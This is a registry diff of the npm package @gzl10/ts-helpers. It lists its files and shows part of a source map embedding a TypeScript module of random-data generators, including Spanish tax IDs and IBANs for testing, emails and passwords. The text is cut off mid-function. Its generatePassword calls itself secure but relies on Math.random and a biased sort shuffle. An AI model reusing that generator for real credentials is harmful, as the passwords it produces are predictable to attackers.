@gzl10/ts-helpers 4.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (240) hide show
  1. package/CHANGELOG.md +320 -0
  2. package/README.md +233 -0
  3. package/USAGE-GUIDE.md +800 -0
  4. package/dist/browser/async.js +15 -0
  5. package/dist/browser/async.js.map +1 -0
  6. package/dist/browser/chunk-4O7ZPIJN.js +383 -0
  7. package/dist/browser/chunk-4O7ZPIJN.js.map +1 -0
  8. package/dist/browser/chunk-75XNTC34.js +60 -0
  9. package/dist/browser/chunk-75XNTC34.js.map +1 -0
  10. package/dist/browser/chunk-C3D7YZVE.js +299 -0
  11. package/dist/browser/chunk-C3D7YZVE.js.map +1 -0
  12. package/dist/browser/chunk-CZL6C2EI.js +452 -0
  13. package/dist/browser/chunk-CZL6C2EI.js.map +1 -0
  14. package/dist/browser/chunk-D4FZFIVA.js +240 -0
  15. package/dist/browser/chunk-D4FZFIVA.js.map +1 -0
  16. package/dist/browser/chunk-IL7NG7IC.js +72 -0
  17. package/dist/browser/chunk-IL7NG7IC.js.map +1 -0
  18. package/dist/browser/chunk-NSBPE2FW.js +17 -0
  19. package/dist/browser/chunk-NSBPE2FW.js.map +1 -0
  20. package/dist/browser/chunk-SLQVNPTH.js +27 -0
  21. package/dist/browser/chunk-SLQVNPTH.js.map +1 -0
  22. package/dist/browser/chunk-WG7ILCUB.js +195 -0
  23. package/dist/browser/chunk-WG7ILCUB.js.map +1 -0
  24. package/dist/browser/chunk-WJA4JDMZ.js +278 -0
  25. package/dist/browser/chunk-WJA4JDMZ.js.map +1 -0
  26. package/dist/browser/chunk-ZFVYLUTT.js +65 -0
  27. package/dist/browser/chunk-ZFVYLUTT.js.map +1 -0
  28. package/dist/browser/chunk-ZYTSVMTI.js +263 -0
  29. package/dist/browser/chunk-ZYTSVMTI.js.map +1 -0
  30. package/dist/browser/dates.js +78 -0
  31. package/dist/browser/dates.js.map +1 -0
  32. package/dist/browser/environment-detection.js +21 -0
  33. package/dist/browser/environment-detection.js.map +1 -0
  34. package/dist/browser/environment.js +34 -0
  35. package/dist/browser/environment.js.map +1 -0
  36. package/dist/browser/errors.js +18 -0
  37. package/dist/browser/errors.js.map +1 -0
  38. package/dist/browser/index.js +412 -0
  39. package/dist/browser/index.js.map +1 -0
  40. package/dist/browser/math.js +51 -0
  41. package/dist/browser/math.js.map +1 -0
  42. package/dist/browser/number.js +10 -0
  43. package/dist/browser/number.js.map +1 -0
  44. package/dist/browser/objects.js +31 -0
  45. package/dist/browser/objects.js.map +1 -0
  46. package/dist/browser/strings.js +80 -0
  47. package/dist/browser/strings.js.map +1 -0
  48. package/dist/browser/validation-core.js +54 -0
  49. package/dist/browser/validation-core.js.map +1 -0
  50. package/dist/browser/validation-crypto.js +28 -0
  51. package/dist/browser/validation-crypto.js.map +1 -0
  52. package/dist/browser/validators.js +98 -0
  53. package/dist/browser/validators.js.map +1 -0
  54. package/dist/cjs/async.js +86 -0
  55. package/dist/cjs/async.js.map +1 -0
  56. package/dist/cjs/dates.js +285 -0
  57. package/dist/cjs/dates.js.map +1 -0
  58. package/dist/cjs/environment-detection.js +84 -0
  59. package/dist/cjs/environment-detection.js.map +1 -0
  60. package/dist/cjs/environment.js +261 -0
  61. package/dist/cjs/environment.js.map +1 -0
  62. package/dist/cjs/errors.js +80 -0
  63. package/dist/cjs/errors.js.map +1 -0
  64. package/dist/cjs/index.js +2035 -0
  65. package/dist/cjs/index.js.map +1 -0
  66. package/dist/cjs/math.js +388 -0
  67. package/dist/cjs/math.js.map +1 -0
  68. package/dist/cjs/number.js +37 -0
  69. package/dist/cjs/number.js.map +1 -0
  70. package/dist/cjs/objects.js +249 -0
  71. package/dist/cjs/objects.js.map +1 -0
  72. package/dist/cjs/strings.js +253 -0
  73. package/dist/cjs/strings.js.map +1 -0
  74. package/dist/cjs/validation.js +450 -0
  75. package/dist/cjs/validation.js.map +1 -0
  76. package/dist/esm/async.js +15 -0
  77. package/dist/esm/async.js.map +1 -0
  78. package/dist/esm/chunk-4O7ZPIJN.js +383 -0
  79. package/dist/esm/chunk-4O7ZPIJN.js.map +1 -0
  80. package/dist/esm/chunk-75XNTC34.js +60 -0
  81. package/dist/esm/chunk-75XNTC34.js.map +1 -0
  82. package/dist/esm/chunk-BDOBKBKA.js +72 -0
  83. package/dist/esm/chunk-BDOBKBKA.js.map +1 -0
  84. package/dist/esm/chunk-C3D7YZVE.js +299 -0
  85. package/dist/esm/chunk-C3D7YZVE.js.map +1 -0
  86. package/dist/esm/chunk-CZL6C2EI.js +452 -0
  87. package/dist/esm/chunk-CZL6C2EI.js.map +1 -0
  88. package/dist/esm/chunk-EBLSTOEC.js +263 -0
  89. package/dist/esm/chunk-EBLSTOEC.js.map +1 -0
  90. package/dist/esm/chunk-NSBPE2FW.js +17 -0
  91. package/dist/esm/chunk-NSBPE2FW.js.map +1 -0
  92. package/dist/esm/chunk-SLQVNPTH.js +27 -0
  93. package/dist/esm/chunk-SLQVNPTH.js.map +1 -0
  94. package/dist/esm/chunk-WG7ILCUB.js +195 -0
  95. package/dist/esm/chunk-WG7ILCUB.js.map +1 -0
  96. package/dist/esm/chunk-WJA4JDMZ.js +278 -0
  97. package/dist/esm/chunk-WJA4JDMZ.js.map +1 -0
  98. package/dist/esm/chunk-ZFVYLUTT.js +65 -0
  99. package/dist/esm/chunk-ZFVYLUTT.js.map +1 -0
  100. package/dist/esm/dates.js +78 -0
  101. package/dist/esm/dates.js.map +1 -0
  102. package/dist/esm/environment-detection.js +21 -0
  103. package/dist/esm/environment-detection.js.map +1 -0
  104. package/dist/esm/environment.js +34 -0
  105. package/dist/esm/environment.js.map +1 -0
  106. package/dist/esm/errors.js +18 -0
  107. package/dist/esm/errors.js.map +1 -0
  108. package/dist/esm/index.js +380 -0
  109. package/dist/esm/index.js.map +1 -0
  110. package/dist/esm/math.js +51 -0
  111. package/dist/esm/math.js.map +1 -0
  112. package/dist/esm/number.js +10 -0
  113. package/dist/esm/number.js.map +1 -0
  114. package/dist/esm/objects.js +31 -0
  115. package/dist/esm/objects.js.map +1 -0
  116. package/dist/esm/strings.js +80 -0
  117. package/dist/esm/strings.js.map +1 -0
  118. package/dist/esm/validation.js +54 -0
  119. package/dist/esm/validation.js.map +1 -0
  120. package/dist/node/async.js +93 -0
  121. package/dist/node/async.js.map +1 -0
  122. package/dist/node/csv.js +102 -0
  123. package/dist/node/csv.js.map +1 -0
  124. package/dist/node/data.js +880 -0
  125. package/dist/node/data.js.map +1 -0
  126. package/dist/node/dates.js +324 -0
  127. package/dist/node/dates.js.map +1 -0
  128. package/dist/node/environment.js +278 -0
  129. package/dist/node/environment.js.map +1 -0
  130. package/dist/node/errors.js +89 -0
  131. package/dist/node/errors.js.map +1 -0
  132. package/dist/node/index.js +3151 -0
  133. package/dist/node/index.js.map +1 -0
  134. package/dist/node/json.js +107 -0
  135. package/dist/node/json.js.map +1 -0
  136. package/dist/node/math.js +413 -0
  137. package/dist/node/math.js.map +1 -0
  138. package/dist/node/number.js +42 -0
  139. package/dist/node/number.js.map +1 -0
  140. package/dist/node/objects.js +264 -0
  141. package/dist/node/objects.js.map +1 -0
  142. package/dist/node/strings.js +293 -0
  143. package/dist/node/strings.js.map +1 -0
  144. package/dist/node/tree.js +89 -0
  145. package/dist/node/tree.js.map +1 -0
  146. package/dist/node/validation-core.js +477 -0
  147. package/dist/node/validation-core.js.map +1 -0
  148. package/dist/node/validation-crypto.js +179 -0
  149. package/dist/node/validation-crypto.js.map +1 -0
  150. package/dist/node/validation.js +677 -0
  151. package/dist/node/validation.js.map +1 -0
  152. package/dist/node/validators.js +123 -0
  153. package/dist/node/validators.js.map +1 -0
  154. package/dist/node-esm/async.js +15 -0
  155. package/dist/node-esm/async.js.map +1 -0
  156. package/dist/node-esm/chunk-3YOF7NPT.js +299 -0
  157. package/dist/node-esm/chunk-3YOF7NPT.js.map +1 -0
  158. package/dist/node-esm/chunk-64TBXJQS.js +263 -0
  159. package/dist/node-esm/chunk-64TBXJQS.js.map +1 -0
  160. package/dist/node-esm/chunk-75XNTC34.js +60 -0
  161. package/dist/node-esm/chunk-75XNTC34.js.map +1 -0
  162. package/dist/node-esm/chunk-C4PKXIPB.js +278 -0
  163. package/dist/node-esm/chunk-C4PKXIPB.js.map +1 -0
  164. package/dist/node-esm/chunk-CMDFZME3.js +452 -0
  165. package/dist/node-esm/chunk-CMDFZME3.js.map +1 -0
  166. package/dist/node-esm/chunk-DZZPUYMP.js +74 -0
  167. package/dist/node-esm/chunk-DZZPUYMP.js.map +1 -0
  168. package/dist/node-esm/chunk-HTSEHRHI.js +195 -0
  169. package/dist/node-esm/chunk-HTSEHRHI.js.map +1 -0
  170. package/dist/node-esm/chunk-JCAUVOPH.js +27 -0
  171. package/dist/node-esm/chunk-JCAUVOPH.js.map +1 -0
  172. package/dist/node-esm/chunk-KBHE3K2F.js +505 -0
  173. package/dist/node-esm/chunk-KBHE3K2F.js.map +1 -0
  174. package/dist/node-esm/chunk-LYTET5NX.js +65 -0
  175. package/dist/node-esm/chunk-LYTET5NX.js.map +1 -0
  176. package/dist/node-esm/chunk-PZ5AY32C.js +10 -0
  177. package/dist/node-esm/chunk-PZ5AY32C.js.map +1 -0
  178. package/dist/node-esm/chunk-UKGXL2QO.js +383 -0
  179. package/dist/node-esm/chunk-UKGXL2QO.js.map +1 -0
  180. package/dist/node-esm/chunk-XAEYT23H.js +164 -0
  181. package/dist/node-esm/chunk-XAEYT23H.js.map +1 -0
  182. package/dist/node-esm/csv.js +63 -0
  183. package/dist/node-esm/csv.js.map +1 -0
  184. package/dist/node-esm/data.js +32 -0
  185. package/dist/node-esm/data.js.map +1 -0
  186. package/dist/node-esm/dates.js +78 -0
  187. package/dist/node-esm/dates.js.map +1 -0
  188. package/dist/node-esm/environment.js +34 -0
  189. package/dist/node-esm/environment.js.map +1 -0
  190. package/dist/node-esm/errors.js +18 -0
  191. package/dist/node-esm/errors.js.map +1 -0
  192. package/dist/node-esm/index.js +426 -0
  193. package/dist/node-esm/index.js.map +1 -0
  194. package/dist/node-esm/json.js +68 -0
  195. package/dist/node-esm/json.js.map +1 -0
  196. package/dist/node-esm/math.js +51 -0
  197. package/dist/node-esm/math.js.map +1 -0
  198. package/dist/node-esm/number.js +10 -0
  199. package/dist/node-esm/number.js.map +1 -0
  200. package/dist/node-esm/objects.js +31 -0
  201. package/dist/node-esm/objects.js.map +1 -0
  202. package/dist/node-esm/strings.js +80 -0
  203. package/dist/node-esm/strings.js.map +1 -0
  204. package/dist/node-esm/tree.js +8 -0
  205. package/dist/node-esm/tree.js.map +1 -0
  206. package/dist/node-esm/validation-core.js +54 -0
  207. package/dist/node-esm/validation-core.js.map +1 -0
  208. package/dist/node-esm/validation-crypto.js +26 -0
  209. package/dist/node-esm/validation-crypto.js.map +1 -0
  210. package/dist/node-esm/validation.js +606 -0
  211. package/dist/node-esm/validation.js.map +1 -0
  212. package/dist/node-esm/validators.js +98 -0
  213. package/dist/node-esm/validators.js.map +1 -0
  214. package/dist/types/async-C8gvbSG-.d.ts +453 -0
  215. package/dist/types/async.d.ts +1 -0
  216. package/dist/types/csv.d.ts +226 -0
  217. package/dist/types/data.d.ts +1561 -0
  218. package/dist/types/dates-hTiE0Z11.d.ts +298 -0
  219. package/dist/types/dates.d.ts +1 -0
  220. package/dist/types/environment-B8eLS7KT.d.ts +420 -0
  221. package/dist/types/environment-detection.d.ts +102 -0
  222. package/dist/types/environment.d.ts +1 -0
  223. package/dist/types/errors.d.ts +147 -0
  224. package/dist/types/index.d.ts +211 -0
  225. package/dist/types/json.d.ts +284 -0
  226. package/dist/types/math-BQ9Lwdp7.d.ts +2060 -0
  227. package/dist/types/math.d.ts +1 -0
  228. package/dist/types/number-CYnQfLWj.d.ts +44 -0
  229. package/dist/types/number.d.ts +1 -0
  230. package/dist/types/objects-BohS8GCS.d.ts +1185 -0
  231. package/dist/types/objects.d.ts +1 -0
  232. package/dist/types/strings-CiqRPYLL.d.ts +1349 -0
  233. package/dist/types/strings.d.ts +1 -0
  234. package/dist/types/tree.d.ts +284 -0
  235. package/dist/types/validation-core-DfHF8rCG.d.ts +238 -0
  236. package/dist/types/validation-crypto-browser.d.ts +56 -0
  237. package/dist/types/validation-crypto-node.d.ts +31 -0
  238. package/dist/types/validation.d.ts +1 -0
  239. package/dist/types/validators.d.ts +216 -0
  240. package/package.json +253 -0
@@ -0,0 +1 @@
1
+ {"version":3,"sources":["../../src/validation.ts","../../src/environment.ts"],"sourcesContent":["/**\n * Validation utilities - Generators, validators, and security functions\n * Consolidated from lib/validation/* modules\n */\n\n/* eslint-disable complexity */\n\nimport { createHash, randomBytes } from 'crypto'\nimport validator from 'validator'\nimport { isNodeEnvironment } from './environment'\n\n// =============================================================================\n// RANDOM GENERATORS (from generators.ts)\n// =============================================================================\n\n// Native implementations to replace Chance.js\nconst randomInteger = (min: number, max: number): number => {\n return Math.floor(Math.random() * (max - min + 1)) + min\n}\n\nconst randomString = (length: number, pool?: string): string => {\n const chars = pool || 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'\n let result = ''\n for (let i = 0; i < length; i++) {\n result += chars.charAt(Math.floor(Math.random() * chars.length))\n }\n return result\n}\n\nconst randomAlphaString = (length: number, casing?: 'upper' | 'lower'): string => {\n const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'\n let result = randomString(length, chars)\n if (casing === 'upper') result = result.toUpperCase()\n if (casing === 'lower') result = result.toLowerCase()\n return result\n}\n\nconst randomAlphaNumericString = (length: number, casing?: 'upper' | 'lower'): string => {\n const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'\n let result = randomString(length, chars)\n if (casing === 'upper') result = result.toUpperCase()\n if (casing === 'lower') result = result.toLowerCase()\n return result\n}\n\nconst pickone = <T>(array: T[]): T => {\n return array[Math.floor(Math.random() * array.length)]\n}\n\nconst randomBool = (likelihood = 50): boolean => {\n return Math.random() * 100 < likelihood\n}\n\n// =============================================================================\n// GENERATORS - Random data generators\n// =============================================================================\n\n/**\n * Generates a random integer within the specified range.\n */\nexport const generateRandomInteger = (min = 0, max = 100): number => {\n return randomInteger(min, max)\n}\n\n/**\n * Generates a random alphabetic string with specified options.\n */\nexport const generateAlphaString = (\n options: { length?: number; casing?: 'upper' | 'lower' | undefined } = {}\n): string => {\n const { length = 10, casing = undefined } = options\n return randomAlphaString(length, casing)\n}\n\n/**\n * Generates a random alphanumeric string with specified options.\n */\nexport const generateAlphaNumericString = (\n options: { length?: number; casing?: 'upper' | 'lower' | undefined } = {}\n): string => {\n const { length = 10, casing = undefined } = options\n return randomAlphaNumericString(length, casing)\n}\n\n/**\n * Generates a random string with letters, numbers, and symbols.\n */\nexport const generateComplexString = (\n options: { length?: number; casing?: 'upper' | 'lower' | undefined } = {}\n): string => {\n const { length = 10, casing: _casing = undefined } = options\n return randomString(length)\n}\n\n/**\n * Generates a unique username from an email address.\n */\nexport const generateUsernameFromEmail = (email: string, randomDigits = 1): string => {\n if (!email || !email.includes('@'))\n return `user${Math.floor(Math.random() * Math.pow(10, randomDigits))}`\n\n const localPart = email.split('@')[0]\n const username = localPart\n .toLowerCase()\n .replace(/[^a-z0-9]/g, '') // Solo letras y números\n .substring(0, 12) // Limitar longitud\n\n const randomSuffix = Math.floor(Math.random() * Math.pow(10, randomDigits))\n return username + randomSuffix\n}\n\n/**\n * Generates a unique username with specified configuration.\n */\nexport const generateUsername = (separator = '', randomDigits = 1, length = 8): string => {\n const adjectives = [\n 'cool',\n 'happy',\n 'smart',\n 'fast',\n 'nice',\n 'wild',\n 'free',\n 'bold',\n 'calm',\n 'brave',\n ]\n const nouns = ['cat', 'dog', 'bird', 'fish', 'lion', 'bear', 'wolf', 'tiger', 'eagle', 'shark']\n\n const adjective = adjectives[Math.floor(Math.random() * adjectives.length)]\n const noun = nouns[Math.floor(Math.random() * nouns.length)]\n const randomSuffix = Math.floor(Math.random() * Math.pow(10, randomDigits))\n\n const username = adjective + separator + noun + randomSuffix\n\n return username.length > length ? username.substring(0, length) : username\n}\n\n// =============================================================================\n// SPANISH GENERATORS - Spanish-specific document generators\n// =============================================================================\n\n/**\n * Generates a valid Spanish NIF (Número de Identificación Fiscal) number\n *\n * Creates a syntactically valid NIF for Spanish nationals used for testing and development.\n * The NIF follows the official format: 8 digits + 1 control letter calculated using modulo 23.\n *\n * Format: `NNNNNNNNL` where:\n * - N = Digit (0-9), total 8 digits\n * - L = Control letter from 'TRWAGMYFPDXBNJZSQVHLCKE'\n *\n * Algorithm:\n * 1. Generate random 8-digit number (10000000-99999999)\n * 2. Calculate: `letter = letters[number % 23]`\n * 3. Return: `number + letter`\n *\n * ⚠️ TESTING ONLY:\n * - Generated NIFs are syntactically valid but NOT real documents\n * - **DO NOT** use for fraud, identity theft, or illegal activities\n * - For production identity verification, use official Spanish government APIs\n * - Paired with {@link isValidNIF} for validation testing\n *\n * @returns Valid NIF string in format NNNNNNNNL (e.g., '12345678Z')\n *\n * @example\n * ```typescript\n * // Basic generation\n * const nif = generateSpanishNIF()\n * console.log(nif) // '45678234T' (8 digits + letter)\n *\n * // Verify it's valid\n * console.log(isValidNIF(nif)) // true\n * ```\n *\n * @example\n * ```typescript\n * // Real-world: Test data generation for Spanish user registration\n * function createTestUser() {\n * return {\n * name: 'Test User',\n * nif: generateSpanishNIF(),\n * email: generateEmail(),\n * phone: generateSpanishPhone()\n * }\n * }\n *\n * const testUser = createTestUser()\n * console.log(testUser)\n * // {\n * // name: 'Test User',\n * // nif: '87654321X',\n * // email: 'ana.garcia@gmail.com',\n * // phone: '+34612345678'\n * // }\n * ```\n *\n * @example\n * ```typescript\n * // Real-world: Populate test database with Spanish users\n * async function seedSpanishUsers(count: number) {\n * const users = Array.from({ length: count }, (_, i) => ({\n * id: i + 1,\n * nif: generateSpanishNIF(),\n * name: `Test User ${i + 1}`,\n * createdAt: new Date()\n * }))\n *\n * await db.users.insertMany(users)\n * console.log(`✅ Created ${count} test users with valid NIFs`)\n * }\n *\n * await seedSpanishUsers(100)\n * ```\n *\n * @example\n * ```typescript\n * // Real-world: Form validation testing\n * describe('Spanish NIF Validation', () => {\n * test('should accept valid NIFs', () => {\n * const validNIF = generateSpanishNIF()\n * expect(isValidNIF(validNIF)).toBe(true)\n * })\n *\n * test('should generate unique NIFs', () => {\n * const nifs = new Set(\n * Array.from({ length: 1000 }, () => generateSpanishNIF())\n * )\n * expect(nifs.size).toBeGreaterThan(990) // ~99% unique\n * })\n * })\n * ```\n *\n * @example\n * ```typescript\n * // Generate batch for load testing\n * const testNIFs = Array.from({ length: 10000 }, () => generateSpanishNIF())\n * console.log(testNIFs[0]) // '12345678Z'\n * console.log(testNIFs.every(nif => isValidNIF(nif))) // true\n * ```\n *\n * @see {@link isValidNIF} for NIF validation\n * @see {@link generateSpanishNIE} for NIE generation (foreigners)\n * @see {@link generateSpanishCIF} for CIF generation (companies)\n * @see {@link https://www.boe.es/eli/es/rd/2008/11/21/1065 Spanish NIF Official Regulation}\n */\nexport const generateSpanishNIF = (): string => {\n const number = randomInteger(10000000, 99999999)\n const letters = 'TRWAGMYFPDXBNJZSQVHLCKE'\n const letter = letters[number % 23]\n return `${number}${letter}`\n}\n\n/**\n * Generates a valid Spanish NIE (Número de Identidad de Extranjero)\n *\n * Creates syntactically valid NIE for foreign residents in Spain. Format: `XNNNNNNNL` or `YNNNNNNNL` or `ZNNNNNNNL`\n * where prefix (X/Y/Z) indicates registration period, 7 digits, and control letter from modulo 23 algorithm.\n *\n * @returns Valid NIE string (e.g., 'X1234567L', 'Y9876543R', 'Z5555555K')\n *\n * @example\n * ```typescript\n * const nie = generateSpanishNIE() // 'Y2345678A'\n * console.log(isValidNIE(nie)) // true\n *\n * // Test data for foreign resident registration\n * const foreignUser = {\n * nie: generateSpanishNIE(),\n * nationality: 'British',\n * residencePermit: 'Permanent'\n * }\n * ```\n *\n * @see {@link isValidNIE} for NIE validation\n * @see {@link generateSpanishNIF} for Spanish nationals\n */\nexport const generateSpanishNIE = (): string => {\n const prefixes = ['X', 'Y', 'Z']\n const selectedPrefix = pickone(prefixes)\n const prefixValue = selectedPrefix === 'X' ? 0 : selectedPrefix === 'Y' ? 1 : 2\n const number = randomInteger(1000000, 9999999)\n const letters = 'TRWAGMYFPDXBNJZSQVHLCKE'\n const calculationNumber = prefixValue * 10000000 + number\n const letter = letters[calculationNumber % 23]\n return `${selectedPrefix}${number}${letter}`\n}\n\n/**\n * Generates a valid Spanish CIF (Código de Identificación Fiscal) for companies\n *\n * Creates syntactically valid CIF for Spanish legal entities. Format: `LNNNNNNNC` where L=organization type letter,\n * 7 digits, C=control digit/letter calculated using weighted sum algorithm.\n *\n * @returns Valid CIF string (e.g., 'A12345678', 'B98765432', 'G55555555')\n *\n * @example\n * ```typescript\n * const cif = generateSpanishCIF() // 'B12345678'\n * console.log(isValidCIF(cif)) // true\n *\n * // Test data for company registration\n * const company = {\n * cif: generateSpanishCIF(),\n * name: 'Test SL',\n * type: 'Sociedad Limitada'\n * }\n * ```\n *\n * @see {@link isValidCIF} for CIF validation\n * @see {@link generateSpanishNIF} for individuals\n */\nexport const generateSpanishCIF = (): string => {\n const organizationTypes = [\n 'A',\n 'B',\n 'C',\n 'D',\n 'E',\n 'F',\n 'G',\n 'H',\n 'J',\n 'N',\n 'P',\n 'Q',\n 'R',\n 'S',\n 'U',\n 'V',\n 'W',\n ]\n const organizationType = pickone(organizationTypes)\n const number = randomInteger(1000000, 9999999).toString().padStart(7, '0')\n\n // Calculate control digit\n let sum = 0\n for (let i = 0; i < 7; i++) {\n let digit = parseInt(number[i])\n if (i % 2 === 0) {\n digit *= 2\n if (digit > 9) digit = Math.floor(digit / 10) + (digit % 10)\n }\n sum += digit\n }\n\n const controlDigit = (10 - (sum % 10)) % 10\n const controlLetter = 'JABCDEFGHI'[controlDigit]\n const control = ['N', 'P', 'Q', 'R', 'S', 'W'].includes(organizationType)\n ? controlLetter\n : randomBool()\n ? controlDigit.toString()\n : controlLetter\n\n return `${organizationType}${number}${control}`\n}\n\n/**\n * Generates a valid Spanish postal code (Código Postal)\n *\n * Creates valid 5-digit Spanish postal code with province prefix (01-52) following Spanish postal system.\n *\n * @returns Valid Spanish postal code (e.g., '28001' Madrid, '08001' Barcelona, '41001' Sevilla)\n *\n * @example\n * ```typescript\n * const postalCode = generateSpanishPostalCode() // '28045'\n * console.log(isValidSpanishPostalCode(postalCode)) // true\n * ```\n *\n * @see {@link isValidSpanishPostalCode} for validation\n */\nexport const generateSpanishPostalCode = (): string => {\n const validPrefixes = [\n '01',\n '02',\n '03',\n '04',\n '05',\n '06',\n '07',\n '08',\n '09',\n '10',\n '11',\n '12',\n '13',\n '14',\n '15',\n '16',\n '17',\n '18',\n '19',\n '20',\n '21',\n '22',\n '23',\n '24',\n '25',\n '26',\n '27',\n '28',\n '29',\n '30',\n '31',\n '32',\n '33',\n '34',\n '35',\n '36',\n '37',\n '38',\n '39',\n '40',\n '41',\n '42',\n '43',\n '44',\n '45',\n '46',\n '47',\n '48',\n '49',\n '50',\n '51',\n '52',\n ]\n\n const firstDigit = pickone(validPrefixes)\n const remainingDigits = randomString(3, '0123456789')\n return `${firstDigit}${remainingDigits}`\n}\n\n/**\n * Generates a valid Spanish IBAN (International Bank Account Number)\n *\n * Creates syntactically valid Spanish IBAN following ISO 13616 standard. Format: `ESnn bbbb ssss dddd nnnnnnnnnn`\n * where nn=check digits (mod 97), bbbb=bank code, ssss=branch, dd=account control, 10 digits=account number.\n *\n * @returns Valid Spanish IBAN (e.g., 'ES9121000418450200051332')\n *\n * @example\n * ```typescript\n * const iban = generateSpanishIBAN() // 'ES1234567890123456789012'\n * console.log(isValidSpanishIBAN(iban)) // true\n *\n * // Test banking data\n * const account = {\n * iban: generateSpanishIBAN(),\n * owner: 'Test User',\n * bank: 'Test Bank'\n * }\n * ```\n *\n * @see {@link isValidSpanishIBAN} for IBAN validation\n */\nexport const generateSpanishIBAN = (): string => {\n const bankCode = randomString(4, '0123456789') // Código banco\n const branchCode = randomString(4, '0123456789') // Código sucursal\n const controlDigits = randomString(2, '0123456789') // DC cuenta\n const accountNumber = randomString(10, '0123456789') // Número cuenta\n\n // Calculate IBAN check digits\n const accountPart = `${bankCode}${branchCode}${controlDigits}${accountNumber}`\n // Move ES00 to end and replace letters with numbers: E=14, S=28\n const rearranged = `${accountPart}142800`\n\n // Calculate mod 97\n const checkDigits = String(98n - (BigInt(rearranged) % 97n)).padStart(2, '0')\n\n return `ES${checkDigits}${bankCode}${branchCode}${controlDigits}${accountNumber}`\n}\n\n// =============================================================================\n// GENERAL GENERATORS\n// =============================================================================\n\n/**\n * Generates a realistic fake email address for testing\n *\n * Creates email with Spanish first/last names and common domains. Format: `firstname.lastname@domain.com`\n * or variations with numbers. Perfect for test data, demos, and mock user generation.\n *\n * @param domain - Optional custom domain (default: random from gmail.com, hotmail.com, yahoo.es, outlook.com, test.com)\n * @returns Fake email address (e.g., 'ana.garcia@gmail.com', 'carlos45@hotmail.com')\n *\n * @example\n * ```typescript\n * const email1 = generateEmail() // 'maria.lopez@yahoo.es'\n * const email2 = generateEmail('company.com') // 'jose.martinez@company.com'\n *\n * // Generate test user batch\n * const testUsers = Array.from({ length: 100 }, (_, i) => ({\n * id: i + 1,\n * email: generateEmail('testapp.com'),\n * nif: generateSpanishNIF()\n * }))\n * ```\n *\n * @see {@link isValidEmail} for email validation\n * @see {@link generateUsernameFromEmail} to extract username\n */\nexport const generateEmail = (domain?: string): string => {\n const firstNames = [\n 'Ana',\n 'Carlos',\n 'María',\n 'José',\n 'Laura',\n 'David',\n 'Carmen',\n 'Antonio',\n 'Isabel',\n 'Manuel',\n ]\n const lastNames = [\n 'García',\n 'González',\n 'López',\n 'Martínez',\n 'Sánchez',\n 'Pérez',\n 'Gómez',\n 'Martín',\n 'Jiménez',\n 'Ruiz',\n ]\n const domains = ['gmail.com', 'hotmail.com', 'yahoo.es', 'outlook.com', 'test.com']\n\n const firstName = pickone(firstNames)\n const lastName = pickone(lastNames)\n const emailDomain = domain || pickone(domains)\n\n const formats = [\n `${firstName.toLowerCase()}.${lastName.toLowerCase()}@${emailDomain}`,\n `${firstName.toLowerCase()}${randomInteger(1, 99)}@${emailDomain}`,\n `${firstName.toLowerCase()}.${lastName.toLowerCase()}${randomInteger(1, 9)}@${emailDomain}`,\n `${firstName.toLowerCase()}${lastName.toLowerCase()}@${emailDomain}`,\n ]\n\n const username = pickone(formats)\n return username.toLowerCase()\n}\n\n/**\n * Generates a random secure password with customizable criteria\n *\n * Creates passwords with configurable character sets (uppercase, lowercase, numbers, symbols).\n * Guarantees at least one character from each enabled category for security requirements.\n *\n * @param options - Password generation options\n * @param options.length - Password length (default: 12, min: 4, max: 30)\n * @param options.includeUppercase - Include A-Z (default: true)\n * @param options.includeLowercase - Include a-z (default: true)\n * @param options.includeNumbers - Include 0-9 (default: true)\n * @param options.includeSymbols - Include !@#$%^&* (default: true)\n * @returns Random password matching criteria (e.g., 'Ab3!xY7$qW2z')\n *\n * @example\n * ```typescript\n * const pwd1 = generatePassword() // 'Xy9$mK2!pL4@' (all characters)\n * const pwd2 = generatePassword({ length: 16 }) // 'aB3$xY7!mK9@pL2#'\n * const pwd3 = generatePassword({ includeSymbols: false }) // 'Ab3xY7qW2z' (no symbols)\n *\n * // PIN-style password\n * const pin = generatePassword({\n * length: 6,\n * includeUppercase: false,\n * includeLowercase: false,\n * includeSymbols: false\n * }) // '847293' (numbers only)\n * ```\n *\n * @see {@link validatePassword} for password validation\n * @see {@link hashString} for password hashing (NOT recommended, use bcrypt instead)\n */\nexport const generatePassword = (\n options: {\n length?: number\n includeUppercase?: boolean\n includeLowercase?: boolean\n includeNumbers?: boolean\n includeSymbols?: boolean\n } = {}\n): string => {\n const {\n length = 12,\n includeUppercase = true,\n includeLowercase = true,\n includeNumbers = true,\n includeSymbols = true,\n } = options\n\n const minLength = 4\n const maxLength = 30\n const targetLength = length || randomInteger(minLength, maxLength)\n\n const upperChars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'\n const lowerChars = 'abcdefghijklmnopqrstuvwxyz'\n const numberChars = '0123456789'\n const symbolChars = '!@#$%^&*()_+-=[]{}|;:,.<>?'\n\n let charset = ''\n let requiredChars = ''\n\n // Construir charset y caracteres requeridos\n if (includeUppercase) {\n charset += upperChars\n requiredChars += upperChars.charAt(Math.floor(Math.random() * upperChars.length))\n }\n if (includeLowercase) {\n charset += lowerChars\n requiredChars += lowerChars.charAt(Math.floor(Math.random() * lowerChars.length))\n }\n if (includeNumbers) {\n charset += numberChars\n requiredChars += numberChars.charAt(Math.floor(Math.random() * numberChars.length))\n }\n if (includeSymbols) {\n charset += symbolChars\n requiredChars += symbolChars.charAt(Math.floor(Math.random() * symbolChars.length))\n }\n\n if (!charset) charset = 'abcdefghijklmnopqrstuvwxyz'\n\n // Generar caracteres restantes\n let password = requiredChars\n const remainingLength = targetLength - requiredChars.length\n\n for (let i = 0; i < remainingLength; i++) {\n password += charset.charAt(Math.floor(Math.random() * charset.length))\n }\n\n // Mezclar los caracteres para que los requeridos no estén al principio\n return password\n .split('')\n .sort(() => Math.random() - 0.5)\n .join('')\n}\n\n/**\n * Generates a random hex color.\n */\nexport const generateHexColor = (shortFormat?: boolean): string => {\n const hexChars = '0123456789ABCDEF'\n const useShortFormat = shortFormat !== undefined ? shortFormat : randomBool()\n\n if (useShortFormat) {\n // Formato corto: #RGB\n const r = 